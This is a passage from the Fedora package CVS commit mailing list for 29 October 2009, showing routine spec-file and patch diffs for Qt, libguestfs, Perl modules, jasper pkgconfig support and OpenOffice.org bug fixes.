 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
+Patch16: system-config-printer-custom-state-reasons.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -105,6 +106,7 @@ printers.
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
+%patch16 -p1 -b .custom-state-reasons
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -217,6 +219,7 @@ exit 0
 
 %changelog
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).
 
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4



From than at fedoraproject.org  Thu Oct 29 17:36:42 2009
From: than at fedoraproject.org (Than Ngo)
Date: Thu, 29 Oct 2009 17:36:42 +0000 (UTC)
Subject: rpms/qt/F-10 qt-x11-opensource-src-4.5.3-glib-event-loop.patch, NONE,
	1.1
Message-ID: <20091029173642.C810011C02A3@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29289

Added Files:
	qt-x11-opensource-src-4.5.3-glib-event-loop.patch 
Log Message:
add missing patch


qt-x11-opensource-src-4.5.3-glib-event-loop.patch:
 qeventdispatcher_glib.cpp |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-glib-event-loop.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp
--- qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than	2009-10-29 16:15:58.000000000 +0100
+++ qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp	2009-10-29 16:16:22.000000000 +0100
@@ -263,7 +263,6 @@ QEventDispatcherGlibPrivate::QEventDispa
     (void) new (&timerSource->timerList) QTimerInfoList();
     timerSource->processEventsFlags = QEventLoop::AllEvents;
     g_source_set_can_recurse(&timerSource->source, true);
-    g_source_set_priority(&timerSource->source, G_PRIORITY_DEFAULT_IDLE);
     g_source_attach(&timerSource->source, mainContext);
 }
 



From than at fedoraproject.org  Thu Oct 29 17:37:34 2009
From: than at fedoraproject.org (Than Ngo)
Date: Thu, 29 Oct 2009 17:37:34 +0000 (UTC)
Subject: rpms/qt/F-11 qt-x11-opensource-src-4.5.3-glib-event-loop.patch, NONE,
	1.1
Message-ID: <20091029173734.71CA611C02A3@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29811

Added Files:
	qt-x11-opensource-src-4.5.3-glib-event-loop.patch 
Log Message:
add missing qt-x11-opensource-src-4.5.3-glib-event-loop.patch 


qt-x11-opensource-src-4.5.3-glib-event-loop.patch:
 qeventdispatcher_glib.cpp |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-glib-event-loop.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp
--- qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than	2009-10-29 16:15:58.000000000 +0100
+++ qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp	2009-10-29 16:16:22.000000000 +0100
@@ -263,7 +263,6 @@ QEventDispatcherGlibPrivate::QEventDispa
     (void) new (&timerSource->timerList) QTimerInfoList();
     timerSource->processEventsFlags = QEventLoop::AllEvents;
     g_source_set_can_recurse(&timerSource->source, true);
-    g_source_set_priority(&timerSource->source, G_PRIORITY_DEFAULT_IDLE);
     g_source_attach(&timerSource->source, mainContext);
 }
 



From rjones at fedoraproject.org  Thu Oct 29 17:37:33 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:37:33 +0000 (UTC)
Subject: rpms/libguestfs/devel libguestfs.spec,1.106,1.107
Message-ID: <20091029173733.C856D11C02A3@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29855

Modified Files:
	libguestfs.spec 
Log Message:
Add BR libxml2-devel.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/libguestfs.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- libguestfs.spec	29 Oct 2009 17:22:46 -0000	1.106
+++ libguestfs.spec	29 Oct 2009 17:37:33 -0000	1.107
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}
+Release:     2%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -19,6 +19,7 @@ BuildRequires: febootstrap >= 2.3
 BuildRequires: augeas-devel >= 0.5.0
 BuildRequires: readline-devel
 BuildRequires: genisoimage
+BuildRequires: libxml2-devel
 BuildRequires: qemu-kvm >= 0.10-7
 BuildRequires: createrepo
 BuildRequires: glibc-static
@@ -561,11 +562,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-2
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.
 - Don't require chntpw.
+- Add BR libxml2-devel, accidentally omitted before.
 
 * Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
 - New upstream release 1.0.74.



From kasal at fedoraproject.org  Thu Oct 29 17:39:58 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:39:58 +0000 (UTC)
Subject: rpms/perl-Array-Compare/F-12 .cvsignore, 1.6,
	1.7 perl-Array-Compare.spec, 1.12, 1.13 sources, 1.6, 1.7
Message-ID: <20091029173958.75CD211C02A3@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Array-Compare/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30923

Modified Files:
	.cvsignore perl-Array-Compare.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	27 Feb 2009 15:38:36 -0000	1.6
+++ .cvsignore	29 Oct 2009 17:39:57 -0000	1.7
@@ -1 +1 @@
-Array-Compare-1.17.tar.gz
+Array-Compare-2.01.tar.gz


Index: perl-Array-Compare.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/F-12/perl-Array-Compare.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- perl-Array-Compare.spec	26 Jul 2009 01:43:18 -0000	1.12
+++ perl-Array-Compare.spec	29 Oct 2009 17:39:58 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           perl-Array-Compare
-Version:        1.17
-Release:        2%{?dist}
+Version:        2.01
+Release:        1%{?dist}
 Summary:        Perl extension for comparing arrays
 
 Group:          Development/Libraries
@@ -10,7 +10,7 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(Module::Build)
+BuildRequires:  perl(Module::Build), perl(Moose)
 BuildRequires:  perl(Test::Pod), perl(Test::Pod::Coverage)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.01-1
+- new upstream version, BR perl(Moose)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.17-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	27 Feb 2009 15:38:37 -0000	1.6
+++ sources	29 Oct 2009 17:39:58 -0000	1.7
@@ -1 +1 @@
-0159ebb79529528db4cc68051532d22d  Array-Compare-1.17.tar.gz
+df28c76bf58b3bdae86e1f9bdb0b7b9d  Array-Compare-2.01.tar.gz



From rdieter at fedoraproject.org  Thu Oct 29 17:49:43 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 29 Oct 2009 17:49:43 +0000 (UTC)
Subject: rpms/jasper/devel jasper-pkgconfig.patch, NONE, 1.1 jasper.spec,
	1.35, 1.36
Message-ID: <20091029174943.5416C11C02A3@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2017/devel

Modified Files:
	jasper.spec 
Added Files:
	jasper-pkgconfig.patch 
Log Message:
* Thu Oct 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-14
- add pkgconfig support


jasper-pkgconfig.patch:
 Makefile.am            |    2 +-
 configure.ac           |    2 ++
 pkgconfig/Makefile.am  |    5 +++++
 pkgconfig/jasper.pc.in |   11 +++++++++++
 4 files changed, 19 insertions(+), 1 deletion(-)

--- NEW FILE jasper-pkgconfig.patch ---
diff -Naur jasper-1.900.1/configure.ac jasper-1.900.1.new/configure.ac
--- jasper-1.900.1/configure.ac	2007-01-19 21:47:11.000000000 +0000
+++ jasper-1.900.1.new/configure.ac	2009-10-29 13:37:02.000000000 +0000
@@ -399,6 +399,8 @@
 src/libjasper/pnm/Makefile
 src/libjasper/ras/Makefile
 src/msvc/Makefile
+pkgconfig/Makefile
+pkgconfig/jasper.pc
 jasper.spec
 ])
 AC_OUTPUT
diff -Naur jasper-1.900.1/Makefile.am jasper-1.900.1.new/Makefile.am
--- jasper-1.900.1/Makefile.am	2007-01-19 21:43:14.000000000 +0000
+++ jasper-1.900.1.new/Makefile.am	2009-10-29 13:36:28.000000000 +0000
@@ -64,7 +64,7 @@
 # Note: We need to put the derived file "jasper.spec" in the distribution
 # in order to facilitate RPM building.
 
-SUBDIRS = src
+SUBDIRS = src pkgconfig
 
 rpm: dist
 	for i in BUILD RPMS SRPMS SOURCES SPECS; do \
diff -Naur jasper-1.900.1/pkgconfig/jasper.pc.in jasper-1.900.1.new/pkgconfig/jasper.pc.in
--- jasper-1.900.1/pkgconfig/jasper.pc.in	1970-01-01 01:00:00.000000000 +0100
+++ jasper-1.900.1.new/pkgconfig/jasper.pc.in	2009-10-29 16:30:43.000000000 +0000
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: Jasper
+Description: JPEG 2000 encoding and decoding library
+Version: @VERSION@
+
+Libs: -L${libdir} -ljasper
+Cflags: -I${includedir}/jasper
diff -Naur jasper-1.900.1/pkgconfig/Makefile.am jasper-1.900.1.new/pkgconfig/Makefile.am
--- jasper-1.900.1/pkgconfig/Makefile.am	1970-01-01 01:00:00.000000000 +0100
+++ jasper-1.900.1.new/pkgconfig/Makefile.am	2009-10-29 13:38:59.000000000 +0000
@@ -0,0 +1,5 @@
+pkgconfigdir = $(libdir)/pkgconfig
+pkgconfig_DATA = jasper.pc
+
+EXTRA_DIST = \
+        jasper.pc.in


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/devel/jasper.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- jasper.spec	26 Oct 2009 16:27:35 -0000	1.35
+++ jasper.spec	29 Oct 2009 17:49:43 -0000	1.36
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 13%{?dist}
+Release: 14%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -28,11 +28,14 @@ Patch4: jpc_dec.c.patch
 Patch5: jasper-1.900.1-CVE-2008-3520.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
 Patch6: jasper-1.900.1-CVE-2008-3522.patch
+# add pkg-config support
+Patch7: jasper-pkgconfig.patch
 
-BuildRequires: automake 
-BuildRequires: libjpeg-devel
+BuildRequires: automake libtool
 BuildRequires: freeglut-devel 
 BuildRequires: libGLU-devel
+BuildRequires: libjpeg-devel
+BuildRequires: pkgconfig
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -47,6 +50,7 @@ Group:   Development/Libraries
 Provides: libjasper-devel = %{version}-%{release}
 Requires: %{name}-libs = %{version}-%{release}
 Requires: libjpeg-devel
+Requires: pkgconfig
 %description devel
 %{summary}.
 
@@ -70,10 +74,14 @@ Requires: %{name} = %{version}-%{release
 %setup -q -n %{name}-%{version}
 
 %patch1 -p1 -b .GL
+%patch2 -p1 -b .GL-ac
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
 %patch5 -p1 -b .CVE-2008-3520
 %patch6 -p1 -b .CVE-2008-3522
+%patch7 -p1 -b .pkgconfig
+
+autoreconf -i
 
 
 %build
@@ -121,6 +129,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc doc/*
 %{_includedir}/jasper/
 %{_libdir}/libjasper.so
+%{_libdir}/pkgconfig/jasper.pc
 
 %files libs
 %defattr(-,root,root,-)
@@ -135,6 +144,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-14
+- add pkgconfig support
+
 * Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
 - CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
 - CVE-2008-3522 jasper: possible buffer overflow in 



From rdieter at fedoraproject.org  Thu Oct 29 17:49:43 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 29 Oct 2009 17:49:43 +0000 (UTC)
Subject: rpms/jasper/F-12 jasper-pkgconfig.patch, NONE, 1.1 jasper.spec, 1.35,
	1.36
Message-ID: <20091029174943.9F18311C02A3@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2017/F-12

Modified Files:
	jasper.spec 
Added Files:
	jasper-pkgconfig.patch 
Log Message:
* Thu Oct 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-14
- add pkgconfig support


jasper-pkgconfig.patch:
 Makefile.am            |    2 +-
 configure.ac           |    2 ++
 pkgconfig/Makefile.am  |    5 +++++
 pkgconfig/jasper.pc.in |   11 +++++++++++
 4 files changed, 19 insertions(+), 1 deletion(-)

--- NEW FILE jasper-pkgconfig.patch ---
diff -Naur jasper-1.900.1/configure.ac jasper-1.900.1.new/configure.ac
--- jasper-1.900.1/configure.ac	2007-01-19 21:47:11.000000000 +0000
+++ jasper-1.900.1.new/configure.ac	2009-10-29 13:37:02.000000000 +0000
@@ -399,6 +399,8 @@
 src/libjasper/pnm/Makefile
 src/libjasper/ras/Makefile
 src/msvc/Makefile
+pkgconfig/Makefile
+pkgconfig/jasper.pc
 jasper.spec
 ])
 AC_OUTPUT
diff -Naur jasper-1.900.1/Makefile.am jasper-1.900.1.new/Makefile.am
--- jasper-1.900.1/Makefile.am	2007-01-19 21:43:14.000000000 +0000
+++ jasper-1.900.1.new/Makefile.am	2009-10-29 13:36:28.000000000 +0000
@@ -64,7 +64,7 @@
 # Note: We need to put the derived file "jasper.spec" in the distribution
 # in order to facilitate RPM building.
 
-SUBDIRS = src
+SUBDIRS = src pkgconfig
 
 rpm: dist
 	for i in BUILD RPMS SRPMS SOURCES SPECS; do \
diff -Naur jasper-1.900.1/pkgconfig/jasper.pc.in jasper-1.900.1.new/pkgconfig/jasper.pc.in
--- jasper-1.900.1/pkgconfig/jasper.pc.in	1970-01-01 01:00:00.000000000 +0100
+++ jasper-1.900.1.new/pkgconfig/jasper.pc.in	2009-10-29 16:30:43.000000000 +0000
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: Jasper
+Description: JPEG 2000 encoding and decoding library
+Version: @VERSION@
+
+Libs: -L${libdir} -ljasper
+Cflags: -I${includedir}/jasper
diff -Naur jasper-1.900.1/pkgconfig/Makefile.am jasper-1.900.1.new/pkgconfig/Makefile.am
--- jasper-1.900.1/pkgconfig/Makefile.am	1970-01-01 01:00:00.000000000 +0100
+++ jasper-1.900.1.new/pkgconfig/Makefile.am	2009-10-29 13:38:59.000000000 +0000
@@ -0,0 +1,5 @@
+pkgconfigdir = $(libdir)/pkgconfig
+pkgconfig_DATA = jasper.pc
+
+EXTRA_DIST = \
+        jasper.pc.in


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-12/jasper.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- jasper.spec	26 Oct 2009 16:27:36 -0000	1.35
+++ jasper.spec	29 Oct 2009 17:49:43 -0000	1.36
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 13%{?dist}
+Release: 14%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -28,11 +28,14 @@ Patch4: jpc_dec.c.patch
 Patch5: jasper-1.900.1-CVE-2008-3520.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
 Patch6: jasper-1.900.1-CVE-2008-3522.patch
+# add pkg-config support
+Patch7: jasper-pkgconfig.patch
 
-BuildRequires: automake 
-BuildRequires: libjpeg-devel
+BuildRequires: automake libtool
 BuildRequires: freeglut-devel 
 BuildRequires: libGLU-devel
+BuildRequires: libjpeg-devel
+BuildRequires: pkgconfig
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -47,6 +50,7 @@ Group:   Development/Libraries
 Provides: libjasper-devel = %{version}-%{release}
 Requires: %{name}-libs = %{version}-%{release}
 Requires: libjpeg-devel
+Requires: pkgconfig
 %description devel
 %{summary}.
 
@@ -70,10 +74,14 @@ Requires: %{name} = %{version}-%{release
 %setup -q -n %{name}-%{version}
 
 %patch1 -p1 -b .GL
+%patch2 -p1 -b .GL-ac
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
 %patch5 -p1 -b .CVE-2008-3520
 %patch6 -p1 -b .CVE-2008-3522
+%patch7 -p1 -b .pkgconfig
+
+autoreconf -i
 
 
 %build
@@ -121,6 +129,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc doc/*
 %{_includedir}/jasper/
 %{_libdir}/libjasper.so
+%{_libdir}/pkgconfig/jasper.pc
 
 %files libs
 %defattr(-,root,root,-)
@@ -135,6 +144,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-14
+- add pkgconfig support
+
 * Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
 - CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
 - CVE-2008-3522 jasper: possible buffer overflow in 



From kasal at fedoraproject.org  Thu Oct 29 17:53:10 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 17:53:10 +0000 (UTC)
Subject: rpms/perl-Authen-SASL/F-12 .cvsignore, 1.6,
	1.7 perl-Authen-SASL.spec, 1.12, 1.13 sources, 1.6, 1.7
Message-ID: <20091029175310.179EC11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Authen-SASL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3807

Modified Files:
	.cvsignore perl-Authen-SASL.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	1 Jul 2008 22:43:32 -0000	1.6
+++ .cvsignore	29 Oct 2009 17:53:07 -0000	1.7
@@ -1 +1 @@
-Authen-SASL-2.12.tar.gz
+Authen-SASL-2.13.tar.gz


Index: perl-Authen-SASL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/F-12/perl-Authen-SASL.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- perl-Authen-SASL.spec	26 Jul 2009 01:46:17 -0000	1.12
+++ perl-Authen-SASL.spec	29 Oct 2009 17:53:08 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           perl-Authen-SASL
-Version:        2.12
-Release:        3%{?dist}
+Version:        2.13
+Release:        1%{?dist}
 Summary:        SASL Authentication framework for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -11,6 +11,7 @@ BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
 BuildRequires:  perl(Digest::HMAC)
 BuildRequires:  perl(GSSAPI)
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -48,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.13-1
+- new upstream version, BR Test::More
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	1 Jul 2008 22:43:32 -0000	1.6
+++ sources	29 Oct 2009 17:53:08 -0000	1.7
@@ -1 +1 @@
-ddbcb7917bf3659d5cf1ee6b681f06d4  Authen-SASL-2.12.tar.gz
+a222f9eecb03919cdff8c7cdca23ba32  Authen-SASL-2.13.tar.gz



From caolanm at fedoraproject.org  Thu Oct 29 17:53:40 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 29 Oct 2009 17:53:40 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.impress180.patch, NONE,
	1.1 workspace.vcl107.patch, NONE, 1.1 openoffice.org.spec, 1.2052,
	1.2053 openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch, 
	1.1, NONE openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch,
	1.1, NONE
Message-ID: <20091029175340.C481611C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4311

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.impress180.patch workspace.vcl107.patch 
Removed Files:
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch 
	openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch 
Log Message:
sync with accepted upstream workspaces

workspace.impress180.patch:
 inc/svx/svdfppt.hxx          |    2 +-
 source/msfilter/msdffimp.cxx |   28 ++++++++++++++++++----------
 source/svdraw/svdfppt.cxx    |   13 ++++++++++++-
 3 files changed, 31 insertions(+), 12 deletions(-)

--- NEW FILE workspace.impress180.patch ---
diff -ru svx.orig/inc/svx/svdfppt.hxx svx/inc/svx/svdfppt.hxx
--- svx.orig/inc/svx/svdfppt.hxx	2009-10-21 09:45:21.000000000 +0100
+++ svx/inc/svx/svdfppt.hxx	2009-10-21 09:45:50.000000000 +0100
@@ -610,7 +610,7 @@
 										UINT32& nMappedFontId, Font& rFont, char nDefault ) const;
     const PptDocumentAtom&				GetDocumentAtom() const { return aDocAtom; }
     virtual const PptSlideLayoutAtom*	GetSlideLayoutAtom() const;
-	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* ) const;
+	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* );
 };
 
 ////////////////////////////////////////////////////////////////////////////////////////////////////
diff -ru svx.orig/source/msfilter/msdffimp.cxx svx/source/msfilter/msdffimp.cxx
--- svx.orig/source/msfilter/msdffimp.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/msfilter/msdffimp.cxx	2009-10-21 09:52:13.000000000 +0100
@@ -7957,25 +7957,31 @@
         delete pWrapPolygon;
 }
 
-/* vi:set tabstop=4 shiftwidth=4 expandtab: */
-
 void SvxMSDffManager::insertShapeId( sal_Int32 nShapeId, SdrObject* pShape )
 {
 	maShapeIdContainer[nShapeId] = pShape;
 }
 
-void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+namespace
 {
-	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.begin() );
-	const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
-	while( aIter != aEnd )
+	class IsShape : public std::unary_function<SvxMSDffShapeIdContainer::value_type, bool>
 	{
-		if( (*aIter).second == pShape )
+		const SdrObject *mpShape;
+	public:
+		IsShape(const SdrObject *pShape) : mpShape(pShape) {}
+		bool operator()(const SvxMSDffShapeIdContainer::value_type& rVal)
 		{
-			maShapeIdContainer.erase( aIter );
-			break;
+			return rVal.second == mpShape;
 		}
-	}
+	};
+}
+
+void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+{
+        const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
+	SvxMSDffShapeIdContainer::iterator aIter = std::find_if(maShapeIdContainer.begin(), aEnd, IsShape(pShape));
+	if (aIter != aEnd)
+		maShapeIdContainer.erase( aIter );
 }
 
 SdrObject* SvxMSDffManager::getShapeForId( sal_Int32 nShapeId )
@@ -7983,3 +7989,5 @@
 	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.find(nShapeId) );
 	return aIter != maShapeIdContainer.end() ? (*aIter).second : 0;
 }
+
+/* vi:set tabstop=4 shiftwidth=4 expandtab: */
diff -ru svx.orig/source/svdraw/svdfppt.cxx svx/source/svdraw/svdfppt.cxx
--- svx.orig/source/svdraw/svdfppt.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/svdraw/svdfppt.cxx	2009-10-21 09:45:37.000000000 +0100
@@ -7492,7 +7492,7 @@
 	}
 }
 
-SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer ) const
+SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer )
 {
 	SdrObject* pRet = pGroup;
 	sal_uInt32 nRows = pTableArry[ 1 ];
@@ -7585,6 +7585,17 @@
 				pTable->uno_unlock();
 				pTable->SetSnapRect( pGroup->GetSnapRect() );
 				pRet = pTable;
+
+
+				//Remove Objects from shape map
+				SdrObjListIter aIter( *pGroup, IM_DEEPWITHGROUPS );
+				while( aIter.IsMore() )
+				{
+					SdrObject* pPartObj = aIter.Next();
+					removeShapeId( pPartObj );
+				}
+
+
 				SdrObject::Free( pGroup );
 			}
 			catch( Exception& )

workspace.vcl107.patch:
 accmgr.cxx |   17 +++++++++++++++++
 1 file changed, 17 insertions(+)

--- NEW FILE workspace.vcl107.patch ---
diff -r 170d9f615c3e vcl/source/window/accmgr.cxx
--- a/vcl/source/window/accmgr.cxx	Wed Oct 28 10:10:41 2009 +0000
+++ b/vcl/source/window/accmgr.cxx	Thu Oct 29 12:30:32 2009 +0000
@@ -83,6 +83,23 @@
     if ( !mpAccelList )
         return;
 
+    //e.g. #i90599#. Someone starts typing a sequence in a dialog, but doesn't
+    //end it, and then closes the dialog, deleting the accelerators. So if
+    //we're removing an accelerator that a sub-accelerator which is in the
+    //sequence list, throw away the entire sequence 
+    if ( mpSequenceList )
+    {
+        for (USHORT i = 0; i < pAccel->GetItemCount(); ++i)
+        {
+            Accelerator* pSubAccel = pAccel->GetAccel(pAccel->GetItemId(i));
+            if ( mpSequenceList->GetPos( pSubAccel ) != LIST_ENTRY_NOTFOUND )
+            {
+                EndSequence( true );
+                break;
+            }
+        }
+    }
+
     // Raus damit
     mpAccelList->Remove( pAccel );
 }


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2052
retrieving revision 1.2053
diff -u -p -r1.2052 -r1.2053
--- openoffice.org.spec	29 Oct 2009 12:38:14 -0000	1.2052
